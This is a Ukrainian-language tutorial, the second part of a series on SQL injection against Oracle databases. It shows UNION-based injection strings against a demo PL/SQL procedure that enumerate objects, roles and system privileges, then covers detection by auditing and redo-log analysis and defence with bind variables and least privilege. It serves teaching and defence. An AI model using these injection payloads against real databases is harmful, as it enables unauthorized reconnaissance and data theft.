Це друга частина з серії статей, які досліджують атаки SQL ін’єкції проти баз даних Oracle. Перша стаття містила огляд SQL ін’єкції і того, як програми бази даних Oracle вразливі до цієї атаки, також були розглянуті кілька прикладів. Ця частина зосередиться на визначенні привілеїв, виявлення атак SQL ін’єкції, і захист проти SQL ін’єкції.
Визначення Привілеїв

Можливість здійснювати SQL ін’єкції в базу даних Oracle це саме по собі вже багато, але на що зверне увагу атакуючий для збільшення своїх можливостей? Звичайно, йому може знадобитися визначити, що може бачити і робити користувач, до якого він отримав доступ. Я покажу тут кілька прикладів, щоб читачі зрозуміли, що можна зробити.

У цьому прикладі, ми увійшли як користувач dbsnmp і змінили процедуру get_cust таким чином, щоб обрати три колонки з обраної нами таблиці. Якщо ми використовуємо union, щоб розширити існуючий запит select, тоді новий SQL в union повинен вибирати те ж кількість колонок і ті ж типи даних, як і існуючий select, інакше виникне помилка, як показано нижче:
SQL> exec get_cust(‘x” union select 1,”Y” from sys.dual where “x”=x’);
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=’x’ union select 1,’Y’ from sys.dual where ‘x’=’x’
-1789ORA-01789: query block has incorrect number of columns result

Основний select тут має три колонки varchar, а ми вибираємо дві колонки, одна з яких є числовий; в результаті виникає помилка. Повертаючись до визначення привілеїв, спочатку визначимо об’єкти, які може бачити користувач, під яким ми увійшли:
SQL> exec get_cust(‘x” union select object_name,object_type,”x” from user_obj
ects where “x”=x’);
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=’x’ union select object_name,object_type,’x’ from
user_objects where ‘x’=’x’
::CUSTOMERS:TABLE:x
::DBA_DATA_FILES:SYNONYM:x
::DBA_FREE_SPACE:SYNONYM:x
::DBA_SEGMENTS:SYNONYM:x
::DBA_TABLESPACES:SYNONYM:x
::GET_CUST:PROCEDURE:x
::GET_CUST2:PROCEDURE:x
::GET_CUST_BIND:PROCEDURE:x
::PLSQ:DATABASE LINK:x

Потім визначимо ролі, які визначені для користувача:
SQL> exec get_cust(‘x” union select granted_role,admin_option,default_role from
user_role_privs where “x”=x’);
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=’x’ union select granted_role,admin_option,default_role
from user_role_privs where ‘x’=’x’
::CONNECT:NO:YES
::RESOURCE:NO:YES
::SNMPAGENT:NO:YES

Після цього визначимо системні привілеї, призначені:
SQL> exec get_cust(‘x” union select privilege,admin_option,”X” from user_sys_
privs where “x”=x’);
debug:select customer_phone,customer_forname,customer_surname from customers
where customer_surname=’x’ union select privilege,admin_option,’X’ from
user_sys_privs where ‘x’=’x’
::CREATE PUBLIC SYNONYM:NO:X
::UNLIMITED TABLESPACE:NO:X

Вибір з таблиці USER_TAB_PRIVS дасть нам привілеї, дані користувачеві по відношенню до об’єктів. Існує багато системних уявлень (views), які починаються з USER_%, вони показують об’єкти і привілеї, які призначені поточному користувачу, а також подробиці про об’єкти, які належать користувачу. Наприклад, є 168 уявлень або таблиць Oracle 8.1.7; це показує безліч деталей, які можна дізнатися про користувача, під яким ви увійшли. Подання USER_% не включають всі можливі привілеї та можливості, доступні поточному користувачу; однак, крім тих, що надані окремо, будь-який користувач може мати доступ до всіх об’єктів, до яких надано доступ для PUBLIC.

PUBLIC це об’єднання, яке доступне всім користувачам бази даних Oracle. Існує хороший набір уявлень, відомих як ALL_%, які за структурою аналогічні уявленням USER_%. ALL_% включають в себе все, що доступно поточному користувачу, включаючи PUBLIC. Хороша точка для старту подання ALL_OBJECTS, так як воно має таку ж структуру, як і USER_OBJECTS і показує всі об’єкти та їх типи, доступні поточному користувачу. Хороший запит, що дозволяє побачити всі об’єкти, їх типи і власника, виглядає так:

select count(*),object_type,owner

from all_objects

group by object_type,owner

Подання V$ також являють собою хороший набір, якщо вони доступні для користувача. Вони дають інформацію про поточних примірниках (instance), продуктивності (performance), параметри, тощо Хорошим прикладом є V$PARAMETER, який дає всі параметри ініціалізації примірника бази даних (database instance), включаючи деталі директорій UTL_FILE. V$PROCESS і V$SESSION інша пара уявлень, які дають деталі про поточні сесіях і процесах. Вони скажуть користувачеві, хто в даний момент підключений до бази, звідки вони підключені, яку програму вони використовують і т. д.

На закінчення до цієї дослідницької чолі варто згадати, що оскільки я хотів створити легкі приклади, які зможе повторити хто завгодно, маючи копію Oracle RDBMS (Relational DataBase Management System — система управління реляційної базою даних), я використовував процедуру PL/SQL, щоб продемонструвати методи, і вочевидь, я мав доступ до свого вихідного коду. Це полегшило мені задачу написання SQL-запитів, які я зміг би успішно відправляти, не отримуючи помилок.

В реальному світі, в веб-середовищі, або мережевому програмі, вихідний код навряд чи буде доступний. В результаті, отримання вдалого SQL запиту можливо методом проб і помилок. Якщо користувачу повертається повідомлення про помилку, або безпосередньо з Oracle RDBMS, або додатки, зазвичай є можливість зрозуміти, де потрібна зміна в SQL. Відсутність повідомлень про помилку робить це більш складним, але не неможливим. Всі повідомлення про помилки Oracle добре документовані і доступні online на Unix-системі командою oerr, або у вигляді документації у форматі HTML, що надається на CD з Oracle для будь-якої платформи. (Пам’ятаєте, що можна вільно копіювати Oracle з метою вивчення.) Дистрибутив Oracle і документація доступні в online режимі з tahiti.oracle.com/.

Знання Oracle і використовуваної схеми користувача також дає велику перевагу. Цілком очевидно, що деякі з цих знань нескладно отримати, так що пам’ятаєте про те, що у випадку, якщо хто завгодно може здійснити SQL ін’єкцію в базу даних, вам слід мінімізувати те, що вони зможуть зробити, побачити, чи до чого отримати доступ.
Виявлення SQL ін’єкції

Oracle великий продукт, вживаний для багатьох цілей, так що твердження, що SQL ін’єкцію можна виявити, є хибним; однак, в деяких випадках, для DBA або security admin може виявитися можливим визначити, чи використовувалася ця техніка. Якщо підозрюється, що мало місце напад, можна провести комп’ютерну експертизу з використанням redo логів. Від Oracle доступна GUI утиліта під назвою Log Miner для аналізу redo логів. Однак, існують серйозні обмеження: до версії 9i, оператор select не може бути відновлений. Redo логи дозволяють Oracle переграти всі події, які призвели до зміни даних у базі, це частина можливостей відновлення. Можна побачити всі запити і дані, які були змінені. Існують два стандартних пакету PL/SQL, DBMS_LOGMNR і DBMS_LOGMNR_D, ці пакети дозволяють запитувати з командного рядка redo логи для всіх оброблених запитів.

Широкі функціональні можливості аудиту Oracle можна використовувати, але, якщо ви не знаєте, чого шукайте, пошук свідоцтв SQL ін’єкції може виявитися подобою пошуку голки в стозі сіна. В будь-якій базі даних Oracle необхідно дотримуватися принципу найменших привілеїв, таким чином, щоб користувачам бази надавалися тільки ті права, які фактично необхідні. Це скорочує кількість авторизованих дій, в результаті, робить більш легким визначення будь-яких дій, що лежать поза можливостей цих користувачів. Наприклад, якщо користувач програми Oracle повинен мати доступ до семи таблиць і трьох процедур, і нічого більше, то використання аудиту помилок Oracle для запису помилок оператора select по відношенню до всіх інших таблиць повинно дозволити адміністратору виявити будь-які спроби доступу за межі, що відносяться до цього додатка. Це можна зробити, наприклад, для однієї таблиці наступною командою аудиту:
SQL> audit select on dbsnmp.customers by access whenever not successful;

Audit succeeded.

Можна написати простий скрипт для включення аудиту помилок для необхідних таблиць. Не повинно виникнути помітних проблем з продуктивністю через аудиту, так як до цих таблиць додаток не повинно звертатися, а отже, не повинно створювати помилок. Звичайно, якщо хтось успішно звернеться до таблиці за межами, визначеними для програми, це не буде виявлено. Ця міра є просто першим кроком.

Ті ж принципи аудиту можуть бути використані для DDL, помилок або успіхів вставки або оновлення.

Інша ідея полягає в спостереженні за запускаються запитами SQL і пошуку підозрілих запитів. Можна використовувати хороший скрипт peep.sq для доступу до SQL, що запускається з SGA (Global System Area Глобальна Область Системи). Цей скрипт показує SQL запити в SGA з гіршими тимчасовими характеристиками виконання. Він може бути легко змінений видаленням обмежень на час виконання, показуючи таким чином всі SQL в SGA. Такий скрипт можна запускати за графіком, і потім повертається SQL можна використовувати для припущення, робилися якісь спроби SQL ін’єкції. Я кажу «припущення», тому що практично неможливо знати всі коректні частини SQL, які створює програму; отже, те ж саме відноситься до виявлення некоректних. Гарним початком було б виявлення всіх запитів, що містять union, або or з рядками типу x=x. Можливі проблеми з продуктивністю при регулярному виділення всіх SQL з SGA.

Найкраще лікування-це, безумовно, попередження!
Захист від SQL ін’єкції

Здається, що захист від SQL-ін’єкції легко реалізувати, однак в дійсності, це не так просто, як здається. Рішення поділяються на дві області:
Не дозволяйте динамічних SQL, які використовують конкатенацию, або, принаймні, фільтрувати вхідні значення і перевіряйте на спеціальні символи типу лапок.
Використовуйте принцип найменших привілеїв і переконайтеся, що користувачі, створені для додатків, мають ті права доступу, які їм потрібні, а всі додаткові (такі, як PUBLIC) відключені.

Ми не будемо вдаватися в подробиці у цій главі; для цього потрібно писати окрему статтю. Однак, необхідно зробити деякі основні заходи:
Перевірте вихідний код програм. Код може бути написаний на безлічі різних мов, таких як PHP, JSP, java, PL/SQL VB, і т. д., так що рішення можуть бути різні. Проте, всі вони схожі. Перегляньте вихідний код на наявність динамічного SQL з використанням конкатенації. Знайдіть виклик, який аналізує SQL і запускає на виконання. Знайдіть, де вводяться значення. Переконайтеся, що вхідні значення перевіряються на коректність, що лапки збігаються і перевіряються метасимволи. Аналіз вихідного коду це завдання, залежить від використовуваного мови.
Захистіть базу даних і переконайтеся, що всі надмірні повноваження заборонені.

Деякі інші прості поради:
Якщо це можливо, не використовуйте динамічні PL/SQL. Потенційний збиток в цьому випадку набагато вище, ніж у випадку динамічного SQL, так як з’являється можливість виконувати будь-SQL, DDL, PL/SQL і т. д.
Якщо динамічний PL/SQL необхідний, використовуйте змінні bind.
Якщо використовується PL/SQL, використовуйте AUTHID CURRENT_USER, щоб PL/SQL запускався від імені увійшов в систему користувача, а не творця процедури, функції, або програми.
Якщо потрібно конкатенація, використовуйте числові значення. Таким чином, можна буде передати рядка для додавання SQL.
Якщо потрібно конкатенація, перевіряйте вхідні параметри на зловмисний код, наприклад, перевіряйте наявність union переданої в рядку, або метасимволів, таких як лапки.
Для динамічного SQL необхідно використовувати bind змінні. Нижче показаний приклад:
create or replace procedure get_cust_bind (lv_surname in varchar2)
is
type cv_typ is ref cursor;
cv cv_typ;
lv_phone customers.customer_phone%type;
lv_stmt varchar2(32767):=’select customer_phone ‘||
‘from customers ‘||
‘where customer_surname=:surname’;
begin
dbms_output.put_line(‘debug:’||lv_stmt);
open cv for lv_stmt using lv_surname;
loop
fetch cv into lv_phone;
exit when cv%notfound;
dbms_output.put_line(‘::’||lv_phone);
end loop;
close cv;
exception
when others then
dbms_output.put_line(sqlcode||sqlerrm);
end get_cust_bind;
/

Спочатку ми запустимо функцію з нормальним значенням параметра, в даному випадку Clark, щоб побачити, що повертаються правильні записи. Потім, коли ми спробуємо зробити SQL ін’єкцію в цю процедуру, ми побачимо, що це не спрацює:
SQL> exec get_cust_bind(‘Clark’);
debug:select customer_phone from customers where customer_surname=:surname
::999444888
::999777888

PL/SQL procedure successfully completed.

SQL> exec get_cust_bind(‘x” union select username from all_users where “x”=”
x’);
debug:select customer_phone from customers where customer_surname=:surname

Ще деякі поради:
Шифруйте чутливі дані, щоб їх не можна було подивитися.
Забороніть всі PUBLIC привілеї у базі даних, де це можливо.
Не дозволяйте доступ до UTL_FILE, DBMS_LOB, DBMS_PIPE, DBMS_OUTPUT, UTL_HTTP,UTL_SMTP або будь-яким іншим стандартним програмам, що дає доступ до ОС.
Змініть задані за замовчуванням паролі в базі даних.
Запускайте listener від імені непривілейованого користувача.
Переконайтеся, що для користувачів додатків визначений мінімум прав.
Обмежте PL/SQL пакети, до яких є доступ з apache.
Видаліть всі приклади скриптів і програм з установки Oracle.